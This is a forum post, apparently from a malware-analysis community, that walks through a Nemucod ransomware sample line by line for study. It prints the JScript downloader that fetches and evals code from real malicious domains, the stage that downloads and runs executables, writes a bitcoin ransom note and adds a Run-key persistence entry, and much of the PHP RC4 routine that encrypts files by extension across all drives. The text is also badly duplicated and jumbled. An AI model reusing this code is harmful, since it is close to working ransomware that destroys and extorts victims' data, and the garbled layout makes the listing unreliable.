- May 14, 2016
- 1,597
https://malwaretips.com/threads/30-11-16-8.66019/
Thanks to @Solarquest
Dedicated to @Dirk41
000970475.doc.wsf
Why this sample ?
I will not spoil the reason, just read this post
Just want to tell you :
1) What it looks like :
hahaha, only this part ?
Yes, but this is not the real whole part.
2) Explanation of this part :
<job>
3) What looks like the part received and run :
The part received an evaluated:
I will show only a small part here, because the string received is very long, and I will show later the real part.
4) The part once built with complete explanations :
var ad = "1EM6HEZXAAb2C3YPJqF6y2pacwuuBqpung";
var am = "0.37257869";
var ld = 0;
var cq = String.fromCharCode(34);
var cs = String.fromCharCode(92);
var ll = [
var ws = WScript.CreateObject("WScript.Shell");
var fn = ws.ExpandEnvironmentStrings("%TEMP%") + cs + "a";
var pd = ws.ExpandEnvironmentStrings("%TEMP%") + cs + "php4ts.dll";
var xo = WScript.CreateObject("Msxml2.XMLHTTP");
var xa = WScript.CreateObject("ADODB.Stream");
var fo = WScript.CreateObject("Scripting.FileSystemObject");
5) Some other explanations :
This method of a script that uses a very small obfuscated part to download the real big part, that is then evaluated (run) from the memory of the script, is more and more used.
Here,
This php use a RC4 encryption : RC4 - Wikipedia
I have not made any dynamic tests for this sample.
And will not make, it is a static analysis
But only looking at the encrypt part, I think if we change the $a= "e" by $a= "d", the same a.php file can decrypt the files (99,99 % sure)
=> a.exe with a.php as parameter, once we have change $a= "e" by $a= "d"
One clue :
Thanks to @Solarquest
Dedicated to @Dirk41
000970475.doc.wsf
Why this sample ?
I will not spoil the reason, just read this post
Just want to tell you :
Nemucod version with the php part to make the encryption :
a.txt, a.exe, a.php and php4ts.dll => the main parts of the ransomware
a1.exe, a2.exe => "bonus" malware
a1.exe, a2.exe => "bonus" malware
1) What it looks like :
<job><script language=JScript>var x = new Array("breakthroughtalks.com","yavid-mc.ru","cbsv.dn.ua","globalpaytech.com","kalu.co.jp"); for (var i=0; i<5; i++) { x += "/counter/?a=0.37257869&i=a5F7yaa6RhRlNZSjDrMYrg2yDIPGqlaTDWBbXrcAFQDj0F6UHNNWsd9VffvekCLdA6QqI-I9CRaykTOnFVzlAA4NXs6ULxTyIeY"; x = "http://" + x; try { var y = new ActiveXObject("Msxml2.XMLHTTP"); y.open("GET", x, false); y.send(); if (y.status == 200) { eval(y.responseText.split("~").join("a")); break; }; } catch(e) { }; };</script></job>
hahaha, only this part ?
Yes, but this is not the real whole part.
2) Explanation of this part :
<job>
<script language=JScript>
var x = new Array(
=> var x : array of 5 URL parts where to try to download the real "bad" part of the script
= index : from 0 to 4
for (var i = 0; i < 5; i++) {
=> a loop from 0 to 4 as index, but it will stop once a working URL is found
=> The String at the current index in the array is replaced by its content + the last part of real URL
=> Example :
};
</script>
</job>var x = new Array(
"breakthroughtalks.com",
"yavid-mc.ru",
"cbsv.dn.ua",
"globalpaytech.com",
"kalu.co.jp"
);"yavid-mc.ru",
"cbsv.dn.ua",
"globalpaytech.com",
"kalu.co.jp"
=> var x : array of 5 URL parts where to try to download the real "bad" part of the script
= index : from 0 to 4
for (var i = 0; i < 5; i++) {
=> a loop from 0 to 4 as index, but it will stop once a working URL is found
x[ i ] += "/counter/?a=0.37257869&i=a5F7yaa6RhRlNZSjDrMYrg2yDIPGqlaTDWBbXrcAFQDj0F6UHNNWsd9VffvekCLdA6QqI-I9CRaykTOnFVzlAA4NXs6ULxTyIeY";=> The String at the current index in the array is replaced by its content + the last part of real URL
=> Example :
index : 0 => x[0] = "breakthroughtalks.com"
=> "breakthroughtalks.com" is replaced on the array by :
x[ i ] = "http://" +x[ i ] ;=> "breakthroughtalks.com" is replaced on the array by :
"breakthroughtalks.com/counter/?a=0.37257869&i=a5F7yaa6RhRlNZSjDrMYrg2yDIPGqlaTDWBbXrcAFQDj0F6UHNNWsd9VffvekCLdA6QqI-I9CRaykTOnFVzlAA4NXs6ULxTyIeY"
=> First part of the real URL is added
=> example :
try {=> example :
index : 0 => x[ 0 ] = "breakthroughtalks.com/counter/?a=0.37257869&i=a5F7yaa6RhRlNZSjDrMYrg2yDIPGqlaTDWBbXrcAFQDj0F6UHNNWsd9VffvekCLdA6QqI-I9CRaykTOnFVzlAA4NXs6ULxTyIeY"
=> x[0] = "http://" + x[0]
=> new x[0] : "http ://breakthroughtalks.com/counter/?a=0.37257869&i=a5F7yaa6RhRlNZSjDrMYrg2yDIPGqlaTDWBbXrcAFQDj0F6UHNNWsd9VffvekCLdA6QqI-I9CRaykTOnFVzlAA4NXs6ULxTyIeY"
=> x[0] = "http://" + x[0]
=> new x[0] : "http ://breakthroughtalks.com/counter/?a=0.37257869&i=a5F7yaa6RhRlNZSjDrMYrg2yDIPGqlaTDWBbXrcAFQDj0F6UHNNWsd9VffvekCLdA6QqI-I9CRaykTOnFVzlAA4NXs6ULxTyIeY"
var y = new ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {};=> Creates an HTTP object, for the request
y.open("GET", x[ i ], false);
=> open the request with the entire URL built, from the current index in the array
=> Example :
y.send();=> Example :
index : 0
=> x[0]
"http ://breakthroughtalks.com/counter/?a=0.37257869&i=a5F7yaa6RhRlNZSjDrMYrg2yDIPGqlaTDWBbXrcAFQDj0F6UHNNWsd9VffvekCLdA6QqI-I9CRaykTOnFVzlAA4NXs6ULxTyIeY"
"http ://breakthroughtalks.com/counter/?a=0.37257869&i=a5F7yaa6RhRlNZSjDrMYrg2yDIPGqlaTDWBbXrcAFQDj0F6UHNNWsd9VffvekCLdA6QqI-I9CRaykTOnFVzlAA4NXs6ULxTyIeY"
=> Makes the request
if (y.status == 200) {
=> y.status : the response status : 200 for HTTP_OK
eval(y.responseText.split("~").join("a"));
=> responseText
break;=> here, it get the data received as text
=> .split("~").join("a")
=> split the data in part where "~" is present, and join all the data with a "a"
=> we obtain a string with previous "~" replaced by "a)
=> eval the string is evaluated=> we obtain a string with previous "~" replaced by "a)
=> the real malware part is run !
=> quit the current loop (this mean an request was successfully done
};</script>
3) What looks like the part received and run :
The part received an evaluated:
I will show only a small part here, because the string received is very long, and I will show later the real part.
"var a = \"\"; a += 'var ad=\"'; a += '1EM6HEZX'; a += 'AAb2C3YPJq'; a += 'F6y2pacwuu'; a += 'Bqpung"'; a += '; var am=\"'; a += '0.37257869"; var ld'; a += '=0; var'; a += ' cq=St'; a += 'ring.'; a += 'fromCharCo'; a += 'r(var n=1'; a += ';n<=5;n++)'; a +=
...
...
}'; a += '; };'; eval(a);"
This string, when the eval function is used, build the real malware part...
...
}'; a += '; };'; eval(a);"
var a = "";
a += 'var ad="';
a += '1EM6HEZX';
a += 'AAb2C3YPJq';
a += 'F6y2pacwuu';
a += 'Bqpung"';
...
...
a += '0,0); }';
a += '; };';
eval(a);
The eval(a); at the end run the var a, that will be at this moment a other string, but with the built content.a += 'var ad="';
a += '1EM6HEZX';
a += 'AAb2C3YPJq';
a += 'F6y2pacwuu';
a += 'Bqpung"';
...
...
a += '0,0); }';
a += '; };';
eval(a);
4) The part once built with complete explanations :
var ad = "1EM6HEZXAAb2C3YPJqF6y2pacwuuBqpung";
=> bitcoin adress / account
var am = "0.37257869";
=> bitcoin asked for the ransom
var ld = 0;
var cq = String.fromCharCode(34);
=> " : \" with the formatting '\' char (to make the interpreter understand)
=> why ? because if I write a string this way : "Hello "DardiM" !", the interpreter will ave a problem to understand what is really the string
=> why ? because if I write a string this way : "Hello "DardiM" !", the interpreter will ave a problem to understand what is really the string
=> "Hello \"DardiM\" !"
=> with the backslash char '\', the interpreter will understand the " char that follow it as a part of the whole real string.
=> with the backslash char '\', the interpreter will understand the " char that follow it as a part of the whole real string.
var cs = String.fromCharCode(92);
=> \ : \\ with the formatting '\' char followed by the real char we want
=> the first backslash allows the interpreter to understand that the char that follows it is the char '\',
var ll = [
"dev.oobu.net",
"ashfordica.org",
"is-tec.ru",
"yavid-mc.ru",
"latuacasainsicilia.it"
];"ashfordica.org",
"is-tec.ru",
"yavid-mc.ru",
"latuacasainsicilia.it"
=> URL parts, used later to build the real URLs
var ws = WScript.CreateObject("WScript.Shell");
=> Creates a Shell object : for the run function (several used, parts at the end)
var fn = ws.ExpandEnvironmentStrings("%TEMP%") + cs + "a";
=> "%TEMP%\a"
var pd = ws.ExpandEnvironmentStrings("%TEMP%") + cs + "php4ts.dll";
=> %TEMP%\php4ts.dll
var xo = WScript.CreateObject("Msxml2.XMLHTTP");
=> http object, for the requests
var xa = WScript.CreateObject("ADODB.Stream");
=> stream object
The ADO Stream Object is used to read, write, and manage a stream of binary data or text.
See : ADO Stream Object
See : ADO Stream Object
var fo = WScript.CreateObject("Scripting.FileSystemObject");
=> FSO object : Provides access to a computer's file system.
if (!fo.FileExists(fn + ".txt")) {
=> if TEMP%\a.txt exists ! If "yes" nothing will be done and the script end
if (fo.FileExists(fn + ".exe") && fo.FileExists(pd) && fo.FileExists(fn + ".php")) {
fp.WriteLine("");
fp.WriteLine("All your personal files (documents, databases, photos, music, etc)");
fp.WriteLine("have been encrypted with a strong RSA-2048 algorithm.");
fp.WriteLine("");
fp.WriteLine("You need to pay " + am + " Bitcoins to restore your files.");
fp.WriteLine("");
fp.WriteLine("1. Create Bitcoin wallet:");
fp.WriteLine("");
fp.WriteLine(" https://blockchain.info/wallet/new");
fp.WriteLine("");
fp.WriteLine("2. Buy Bitcoins:");
fp.WriteLine("");
fp.WriteLine(" Buy bitcoins online or with cash - fast and easy");
fp.WriteLine("");
fp.WriteLine("3. Send THE EXACT AMOUNT OF " + am + " BITCOINS to this address:");
fp.WriteLine(" " + ad);
fp.WriteLine("4. Go to one of these pages to get decrypter:");
fp.WriteLine("");
for (var i = 0; i < ll.length; i++) {
fp.WriteLine(" http://" + ll[ i ] + "/counter/?a=" + am);
fp.WriteLine("");
fp.WriteLine("Before paying you can DECRYPT SOME FILES FOR TEST!");
fp.WriteLine("Just use one of the links above.");
fp.WriteLine("");
fp.WriteLine("IMPORTANT:");
fp.WriteLine("");
fp.WriteLine(" - NOBODY can help you with restoring your files except us.");
fp.WriteLine(" - If you do not pay in 3 days YOU LOOSE ALL YOUR FILES.");
fp.WriteLine(" - This guide you can find on your desktop (DECRYPT.txt).");
fp.Close();
ws.Run("%COMSPEC% /c REG ADD " + cq + "HKCU" + cs + "SOFTWARE" + cs + "Microsoft" + cs + "Windows" + cs + "CurrentVersion" + cs + "Run" + cq + " /V " + cq + "Crypted" + cq + " /t REG_SZ /F /D " + cq + fn + ".txt" + cq, 0, 0);
fp.Close();
};=> Example : "C:\Users\dardiM\AppData\Local\Temp\a.txt"
=> this text file will contain the warning message once the encryption is done
=> this text file will contain the warning message once the encryption is done
for (var n = 1; n <= 5; n++) {
=> here the loop begin with index : 10
=> n allows to know what file has been downloaded
=> to avoid downloaded the same file from different URLs
=> n allows to know what file has been downloaded
=> to avoid downloaded the same file from different URLs
for (var i = ld; i < ll.length; i++) {
=> var i will keep the same value if an working URL was found for the current files to download
};
=> the loop begin with ld : 0, to array of URL parts length - 1 (because index on the array begin to 0)=> var i will keep the same value if an working URL was found for the current files to download
=> by ld that is set at the end of the second loop : see the spoiler
var dn = 0;
};if (dn == 1) {
=> 1 : if
ld = i;
};ld = i;
=> the number for the URL that works
break;var dn = 0;
=> use as flag to know if one http request has been successfully done
try {xo.open("GET", "http://" + ll[ i ] + "/counter/?a=" + am + "&r=" + i + n, false);
if (dn == 1) {
} catch (er) {};
=> open the request : "GET" method and current URL, retrieving the main part from the array of URLs parts:
=> am : bitcoin asked : "0.37257869"
=> Exemple : n= 1 and i = 0
xo.send();=> am : bitcoin asked : "0.37257869"
=> Exemple : n= 1 and i = 0
=> xo.open("GET", "http://" + dev.oobu.net + "/counter/?a=" + "0.37257869" + "&r=" + 0 + 1, 0)
=> xo.open("GET", "hxxp://dev.oobu.net/counter/?a=0.37257869&r=01", 0)
=> makes the http request
if (xo.status == 200) {
=> if request ok
if (n <= 2) {
};
xa.close();
=> closes the http object
};
xa.open();
=> open the stream (to be able to use this object)
xa.type = 1;=> data threaded as binary
xa.write(xo.responseBody);
=> Writes on the stream the responseBody : data received from the http request
if (xa.size > 1000) {
=> if size of the data received > 1000
dn = 1;
if (n <= 2) {
xa.saveToFile(fn + n + ".exe", 2);
} else if (n == 3) {
=> Example : n = 1
=> Stream.saveToFile("%TEMP%\a1.exe" , 2)
try {=> Stream.saveToFile("%TEMP%\a1.exe" , 2)
ws.Run(fn + n + ".exe", 1, 0);
=> Try to run the file !
=> Example : "%TEMP%\a1.exe"
} catch (er) {};=> Try to run the file !
=> Example : "%TEMP%\a1.exe"
xa.saveToFile(fn + ".exe", 2);
=> Stream.saveToFile("%TEMP%\a.exe" , 2)
} else if (n == 4) {=> Stream.saveToFile("%TEMP%\a.exe" , 2)
xa.saveToFile(pd, 2);
=> Stream.saveToFile("%TEMP%\php4ts.dll" , 2)
} else if (n == 5) {=> Stream.saveToFile("%TEMP%\php4ts.dll" , 2)
xa.saveToFile(fn + ".php", 2);
=> Stream.saveToFile(%TEMP%\a.php)
}=> Stream.saveToFile(%TEMP%\a.php)
xa.close();
=> closes the http object
if (dn == 1) {
=> 1 : if
ld = i;
};ld = i;
=> the number for the URL that works
break;
=> exit the current for loop (the loop for to download the files)
=> the URL to used will be change if this current if part is not run (dn : 0)
=> else : keeps the current working URL : dn : i : the current index of URL in the array of URLs parts
=> the URL to used will be change if this current if part is not run (dn : 0)
=> else : keeps the current working URL : dn : i : the current index of URL in the array of URLs parts
if (fo.FileExists(fn + ".exe") && fo.FileExists(pd) && fo.FileExists(fn + ".php")) {
=> if a.exe && php4ts.dll & a.php exist in %TEMP% folder
=> why only these files, and not tests for a1.exe and a.2.exe ?
var fp = fo.CreateTextFile(fn + ".txt", true);=> why only these files, and not tests for a1.exe and a.2.exe ?
=> because the main ransomware only needs these three files for its infection :
=> a1.exe and a2.exe are ONLY "bonus" malwares
=> create a text file : a.txt
=> The below part is written inside
fp.WriteLine("ATTENTION!");=> The below part is written inside
fp.WriteLine("");
fp.WriteLine("All your personal files (documents, databases, photos, music, etc)");
fp.WriteLine("have been encrypted with a strong RSA-2048 algorithm.");
fp.WriteLine("");
fp.WriteLine("You need to pay " + am + " Bitcoins to restore your files.");
fp.WriteLine("");
fp.WriteLine("1. Create Bitcoin wallet:");
fp.WriteLine("");
fp.WriteLine(" https://blockchain.info/wallet/new");
fp.WriteLine("");
fp.WriteLine("2. Buy Bitcoins:");
fp.WriteLine("");
fp.WriteLine(" Buy bitcoins online or with cash - fast and easy");
fp.WriteLine("");
fp.WriteLine("3. Send THE EXACT AMOUNT OF " + am + " BITCOINS to this address:");
=> am = "0.37257869"
fp.WriteLine("");
fp.WriteLine(" " + ad);
=> address : "1EM6HEZXAAb2C3YPJqF6y2pacwuuBqpung"
fp.WriteLine("");
fp.WriteLine("4. Go to one of these pages to get decrypter:");
fp.WriteLine("");
for (var i = 0; i < ll.length; i++) {
fp.WriteLine(" http://" + ll[ i ] + "/counter/?a=" + am);
=> the entire URLs where get the decyrpter are build :
};http ://dev.oobu.net/counter/?a=0.37257869
http ://ashfordica.org/counter/?a=0.37257869
http ://is-tec.ru/counter/?a=0.37257869
http ://yavid-mc.ru/counter/?a=0.37257869
http ://latuacasainsicilia.it/counter/?a=0.37257869
http ://ashfordica.org/counter/?a=0.37257869
http ://is-tec.ru/counter/?a=0.37257869
http ://yavid-mc.ru/counter/?a=0.37257869
http ://latuacasainsicilia.it/counter/?a=0.37257869
fp.WriteLine("");
fp.WriteLine("Before paying you can DECRYPT SOME FILES FOR TEST!");
fp.WriteLine("Just use one of the links above.");
fp.WriteLine("");
fp.WriteLine("IMPORTANT:");
fp.WriteLine("");
fp.WriteLine(" - NOBODY can help you with restoring your files except us.");
fp.WriteLine(" - If you do not pay in 3 days YOU LOOSE ALL YOUR FILES.");
fp.WriteLine(" - This guide you can find on your desktop (DECRYPT.txt).");
fp.Close();
=> the a.txt file is closed
Remember, ws is a shell object, to use the run function:
ws.Run("%COMSPEC% /c REG ADD " + cq + "HKCU" + cs + "SOFTWARE" + cs + "Microsoft" + cs + "Windows" + cs + "CurrentVersion" + cs + "Run" + cq + " /V " + cq + "Crypted" + cq + " /t REG_SZ /F /D " + cq + fn + ".txt" + cq, 0, 0);
=> %COMSPEC% /c "REG ADD "HKCU\SOFTWARE\Microsoft\CurrentVersion\Run" /V "Crypted" /t REG_SZ /F /D "a.txt"
=> key added in the Run part of the reg : to run the a.txt at run time
ws.Run("%COMSPEC% /c REG ADD " + cq + "HKCR" + cs + ".crypted" + cq + " /ve /t REG_SZ /F /D " + cq + "Crypted" + cq, 0, 0);=> key added in the Run part of the reg : to run the a.txt at run time
=> %COMSPEC% /c REG ADD "HKCR\.crypted" /ve /t REG_SZ /F /D "Crypted"
=> reg key added for the .crypted extension
ws.Run("%COMSPEC% /c REG ADD " + cq + "HKCR" + cs + "Crypted" + cs + "shell" + cs + "open" + cs + "command" + cq + " /ve /t REG_SZ /F /D " + cq + "notepad.exe " + cs + cq + fn + ".txt" + cs + cq + cq, 0, 0);=> reg key added for the .crypted extension
=> %COMSPEC% /c REG ADD "HKCR \Crypted\shell\open\command" /ve /t REG_SZ /F /D "notepad.exe \"%TEMP\a.txt\"
=> reg key added to open the a.txt file if one encrypted file is clicked
ws.Run("%COMSPEC% /c copy /y " + cq + fn + ".txt" + cq + " " + cq + "%AppData%" + cs + "Desktop" + cs + "DECRYPT.txt" + cq, 0, 0);=> reg key added to open the a.txt file if one encrypted file is clicked
=> %COMSPEC% /c copy /y "%TEMP%\\a.txt" "%AppData%\Desktop\DECRYPT.txt\"
Example :
ws.Run("%COMSPEC% /c copy /y " + cq + fn + ".txt" + cq + " " + cq + "%UserProfile%" + cs + "Desktop" + cs + "DECRYPT.txt" + cq, 0, 0);Example :
copy C:\Users\DardiM\AppData\Local\Temp\a.txt
to C:\Users\DardiM\AppData\Roaming\Desktop\DECRYPT.txt
=> the second pass doesn't exist on my computer
to C:\Users\DardiM\AppData\Roaming\Desktop\DECRYPT.txt
=> the second pass doesn't exist on my computer
=> %COMSPEC% /c copy /y "%TEMP\a.txt\" "%UserProfile%\Desktop\DECRYPT.txt"
Example :
ws.Run("%COMSPEC% /c " + fn + ".exe " + cq + fn + ".php" + cq, 0, 1);Example :
copy C:\Users\DardiM\AppData\Local\Temp\a.txt
to C:\Users\DardiM\Desktop\DECRYPT.txt
to C:\Users\DardiM\Desktop\DECRYPT.txt
=> %COMSPEC% /c "%TEMP\a.exe \"%TEMP\a.php""
=> run the a.exe with as parameter a.php (all from %TEMP% folder)
ws.Run("%COMSPEC% /c notepad.exe " + cq + fn + ".txt" + cq, 0, 0);=> run the a.exe with as parameter a.php (all from %TEMP% folder)
=> %COMSPEC% /c notepad.exe "%TEMP\a.txt"
=> open a.txt with notepad.exe
var fp = fo.CreateTextFile(fn + ".php", true);=> Create the file %TEMP%\a.php : already exist and used by a.exe, here the content is no more needed :
for (var i = 0; i < 1000; i++) {=> overwrite its content
fp.WriteLine(am);
};=> 1000 lines with "0.37257869" : that is why on hybrid website or other analyse website, the real content is not seen
fp.Close();
=> close the new a.php file (that now doesn't content the code to make the encryption part )
ws.Run("%COMSPEC% /c DEL " + cq + fn + ".php" + cq, 0, 0);
=> delete the a.php
=> if it doesn't work, it doesn't atter because the real content is no more here
ws.Run("%COMSPEC% /c DEL " + cq + fn + ".exe" + cq, 0, 0);=> if it doesn't work, it doesn't atter because the real content is no more here
=> delete a.exe : the PHP interpreter
ws.Run("%COMSPEC% /c DEL " + cq + pd + cq, 0, 0);
=> delete php4ts.dll : the dll that contains various dependencies (PHP interpreter).
};5) Some other explanations :
This method of a script that uses a very small obfuscated part to download the real big part, that is then evaluated (run) from the memory of the script, is more and more used.
Here,
a.exe : the PHP interpreter
php4ts.dll : a dll that contain some dependencies (PHP interpreter)
a.php : given as parameter of the a.exe file, it is the php part with the code to make the encryption part.
The a.php real content :php4ts.dll : a dll that contain some dependencies (PHP interpreter)
a.php : given as parameter of the a.exe file, it is the php part with the code to make the encryption part.
With a dynamical test, the real a.php file content is overwritten and the script try to delete it. For example, if you try to see the content on www .hybrid-analysis.com, it will show you the overwritten file (with 1000 lines of the bitcoins value for the ransom)
I asked myself if I would show this part ... don't want to make some vocations
=> I chose to show it FOR INFORMATION PURPOSE ONLY.
It also use a lot of '~' chars that must be replaced by "a".
I asked myself if I would show this part ... don't want to make some vocations
=> I chose to show it FOR INFORMATION PURPOSE ONLY.
It also use a lot of '~' chars that must be replaced by "a".
<?php eval(str_replace('~','a','set_time_limit(0); ini_set("displ~y_errors", "Off"); for($i=67;$i<=90;$i++) if(is_dir(chr($i).":")) Tree(chr($i).":"); function Tree($p) { $s=chr(92); $k=b~se64_decode("MGCQyCyQpdwThOVG6kyuZMowc6jdyAE6ueobCDxwEEBwvCGGl8r9hutQV5DJEHHS
...
...
fseek($fp,0); fwrite($fp,$c); fclose($fp); if($~=="e") { ren~me($p.$s.$o, $p.$s.$o.".crypted"); } else { ren~me($p.$s.$o, preg_repl~ce("/[.]crypted$/", "", $p.$s.$o)); } } } } closedir($dp); }')); ?>
Once replaced the part is evaluated : run....
...
fseek($fp,0); fwrite($fp,$c); fclose($fp); if($~=="e") { ren~me($p.$s.$o, $p.$s.$o.".crypted"); } else { ren~me($p.$s.$o, preg_repl~ce("/[.]crypted$/", "", $p.$s.$o)); } } } } closedir($dp); }')); ?>
<?php set_time_limit(0);
ini_set("display_errors", "Off");
for($i=67;$i<=90;$i++) if(is_dir(chr($i).":")) Tree(chr($i).":");
function Tree($p) {
));
?>ini_set("display_errors", "Off");
for($i=67;$i<=90;$i++) if(is_dir(chr($i).":")) Tree(chr($i).":");
=> drive letters tested C: to Z:
Here, the function called for each drive found :=> is_dir(chr($i).":" ?
=> calls Tree(chr($i).":")
=> calls Tree(chr($i).":")
function Tree($p) {
$s=chr(92);
=> char : \
$k=base64_decode("MGCQyCyQpdwThOVG6kyuZMowc6jdyAE6ueobCDxwEEBwvCGGl8r9hutQV5DJEHHSUoS25EaoRqgKTIO6WY7DIFCAZ5jJEEZ8Rnyy4BBAYZTH8FS4O3KpXr8g3kCiIIHi");
=> decode the base64 encoded string
=> I have not put the decoded result, because some char are not "writable" on an text editor
preg_match("/".$s.$s."(winnt|boot|system|windows|tmp|temp|program|appdata|application|roaming|msoffice|temporary|cache)/i",$p) ||
preg_match("/recycle/i",$p)) return;
}=> char : \
$k=base64_decode("MGCQyCyQpdwThOVG6kyuZMowc6jdyAE6ueobCDxwEEBwvCGGl8r9hutQV5DJEHHSUoS25EaoRqgKTIO6WY7DIFCAZ5jJEEZ8Rnyy4BBAYZTH8FS4O3KpXr8g3kCiIIHi");
=> decode the base64 encoded string
=> I have not put the decoded result, because some char are not "writable" on an text editor
=> only the char codes is useful
$a="e";
=> IMPORTANT PARAMETER !!!
=> "e" => to "encrypt" the files
=> $a="d" =>to "decrypt" the encrypted files ...
if(=> "e" => to "encrypt" the files
=> $a="d" =>to "decrypt" the encrypted files ...
preg_match("/".$s.$s."(winnt|boot|system|windows|tmp|temp|program|appdata|application|roaming|msoffice|temporary|cache)/i",$p) ||
preg_match("/recycle/i",$p)) return;
=> the folder where files must not be encrypted : returns if found
$dp=opendir($p);
=> open the folder as parameters, and return a pointer to it (to be able to refer to it)
if($dp===false) return;
=> if it can't open the folder : return
while($o=readdir($dp))
=> while loop until no more files / folder
closedir($dp);
if($o!="."&&$o!="..") {=> if a valid name is found (not "." and "..")
=> Not a folder => the below extension are needed :
elseif (
$a=="e"&&preg_match("/[.](zip|rar|r00|r01|r02|r03|7z|tar|gz|gzip|arc|arj|bz|bz2|bza|bzip|bzip2|ice|xls|xlsx|doc|docx|pdf|djvu|fb2|rtf|ppt|pptx|pps|sxi|odm|odt|mpp|ssh|pub|gpg|pgp|kdb|kdbx|als|aup|cpr|npr|cpp|bas|asm|cs|php|pas|class|py|pl|h|vb|vcproj|vbproj|java|bak|backup|mdb|accdb|mdf|odb|wdb|csv|tsv|sql|psd|eps|cdr|cpt|indd|dwg|ai|svg|max|skp|scad|cad|3ds|blend|lwo|lws|mb|slddrw|sldasm|sldprt|u3d|jpg|jpeg|tiff|tif|raw|avi|mpg|mp4|m4v|mpeg|mpe|wmf|wmv|veg|mov|3gp|flv|mkv|vob|rm|mp3|wav|asf|wma|m3u|midi|ogg|mid|vdi|vmdk|vhd|dsk|img|iso)$/i",$o) ||
$a=="d"&&preg_match("/[.](crypted)$/i",$o)) {
}
if (is_dir($p.$s.$o)) {
=> if the file is a folder :
=> call again the Tree function (the one where "we are" now
=> recursive function
}
Tree($p.$s.$o);=> call again the Tree function (the one where "we are" now
=> recursive function
=> Not a folder => the below extension are needed :
elseif (
$a=="e"&&preg_match("/[.](zip|rar|r00|r01|r02|r03|7z|tar|gz|gzip|arc|arj|bz|bz2|bza|bzip|bzip2|ice|xls|xlsx|doc|docx|pdf|djvu|fb2|rtf|ppt|pptx|pps|sxi|odm|odt|mpp|ssh|pub|gpg|pgp|kdb|kdbx|als|aup|cpr|npr|cpp|bas|asm|cs|php|pas|class|py|pl|h|vb|vcproj|vbproj|java|bak|backup|mdb|accdb|mdf|odb|wdb|csv|tsv|sql|psd|eps|cdr|cpt|indd|dwg|ai|svg|max|skp|scad|cad|3ds|blend|lwo|lws|mb|slddrw|sldasm|sldprt|u3d|jpg|jpeg|tiff|tif|raw|avi|mpg|mp4|m4v|mpeg|mpe|wmf|wmv|veg|mov|3gp|flv|mkv|vob|rm|mp3|wav|asf|wma|m3u|midi|ogg|mid|vdi|vmdk|vhd|dsk|img|iso)$/i",$o) ||
$a=="d"&&preg_match("/[.](crypted)$/i",$o)) {
=> if $a = "e" and good extension found
OR $a = "d" and .crypted extension found
=> It means the current code can encrypt and decrypt ...
}OR $a = "d" and .crypted extension found
=> It means the current code can encrypt and decrypt ...
chmod($p.$s.$o,0777);=> change mode :
$fp=fopen($p.$s.$o,"r+");=> 0777 => all rights on the file
=> 7 : read write execute
=> 7 : read write execute
- The first number is always zero
- The second number specifies permissions for the owner
- The third number specifies permissions for the owner's - user group
- The fourth number specifies permissions for everybody else
Possible values (to set multiple permissions, add up the following numbers):
- The second number specifies permissions for the owner
- The third number specifies permissions for the owner's - user group
- The fourth number specifies permissions for everybody else
Possible values (to set multiple permissions, add up the following numbers):
- 1 = execute permissions
- 2 = write permissions
- 4 = read permissions
=> open the current file
if ($fp!==false) {
$b=fread($fp,2048);
=> I will only write some clues
for($i=0;$i<256;$i++)$z[$i]=$i;
for($i=0;$i<256;$i++){
$i=0;
$j=0;
$c="";
for($y=0;$y<strlen($b);$y++){
fseek($fp,0);
}=> read 2048 Bytes
$z=array();
=> create a empty array
=> IN RED, THE OPERATIONS DONE TO ENCRYPT / DECRYPT
=> I will only write some clues
for($i=0;$i<256;$i++)$z[$i]=$i;
=> the array $z is filled this way :
$j=0;=> index i => value : i
Example : index 0 => value 0
=> index 0 to 255 : value 0 to 255 (=256 values)
Example : index 0 => value 0
=> index 0 to 255 : value 0 to 255 (=256 values)
for($i=0;$i<256;$i++){
=> from $i = 0 to $i = 255
=> 256 chars that can be coded on a byte! (0 to FF in HEX)
$j=($j+$z[$i]+ord($k[$i%strlen($k)]))%256;
=> remember $k is the decoded string
=> $k=
base64_decode("MGCQyCyQpdwThOVG6kyuZMowc6jdyAE6ueobCDxwEEBwvCGGl8r9hutQV5DJEHHSUoS25EaoRqgKTIO6WY7DIFCAZ5jJEEZ8Rnyy4BBAYZTH8FS4O3KpXr8g3kCiIIHi");
=> I have not put the decoded result, because some char are not "writable"
$z[$i]=$z[$j];
$z[$j]=$x;
=> a swap between $z[$i] and $z[$j] values
}=> 256 chars that can be coded on a byte! (0 to FF in HEX)
$j=($j+$z[$i]+ord($k[$i%strlen($k)]))%256;
=> $j : growing value :
=> precedent value +
value from $z (we have seen for him index = value)
+ ascii code for char from $k (a loop inside when at the end : % => MODULO)
=> ALL MODULO 256
=> ord return an ASCII code=> precedent value +
value from $z (we have seen for him index = value)
+ ascii code for char from $k (a loop inside when at the end : % => MODULO)
=> ALL MODULO 256
=> a char between 0 and 255
=> remember $k is the decoded string
=> $k=
base64_decode("MGCQyCyQpdwThOVG6kyuZMowc6jdyAE6ueobCDxwEEBwvCGGl8r9hutQV5DJEHHSUoS25EaoRqgKTIO6WY7DIFCAZ5jJEEZ8Rnyy4BBAYZTH8FS4O3KpXr8g3kCiIIHi");
=> I have not put the decoded result, because some char are not "writable"
=> only the char code is useful
$x=$z[$i];
$z[$i]=$z[$j];
$z[$j]=$x;
=> a swap between $z[$i] and $z[$j] values
$i=0;
$j=0;
$c="";
for($y=0;$y<strlen($b);$y++){
=> strlen($b) = 2048
=> Loop : from 0 to 2047 (=2048 times because 0 is count)
=> $i : will be 1,2,3....255
$j=($j+$z[$i])%256;
=> $j : will be from 0 to 255 because of the % 256 (MODULO)
$x=$z[$i];
$z[$i]=$z[$j];
$z[$j]=$x;
=> another swap between $z[$i] and $z[$j] values
$c.=$b[$y]^chr($z[($z[$i]+$z[$j])%256]);
=> $c = $c + $b[$y]^chr($z[($z[$i]+$z[$j])%256])
=> ^ : XOR part (reversible )
}=> Loop : from 0 to 2047 (=2048 times because 0 is count)
=> 8 x 256
$i=($i+1)%256;
=> $i : will be 1,2,3....255
$j=($j+$z[$i])%256;
=> $j : will be from 0 to 255 because of the % 256 (MODULO)
$x=$z[$i];
$z[$i]=$z[$j];
$z[$j]=$x;
=> another swap between $z[$i] and $z[$j] values
$c.=$b[$y]^chr($z[($z[$i]+$z[$j])%256]);
=> $c = $c + $b[$y]^chr($z[($z[$i]+$z[$j])%256])
=> ^ : XOR part (reversible )
fseek($fp,0);
=> return to the begin of the file
fwrite($fp,$c);
=> writes the 2048 encoded values
fclose($fp);
=> close the current file
if($a=="e") {
rename($p.$s.$o, $p.$s.$o.".crypted");
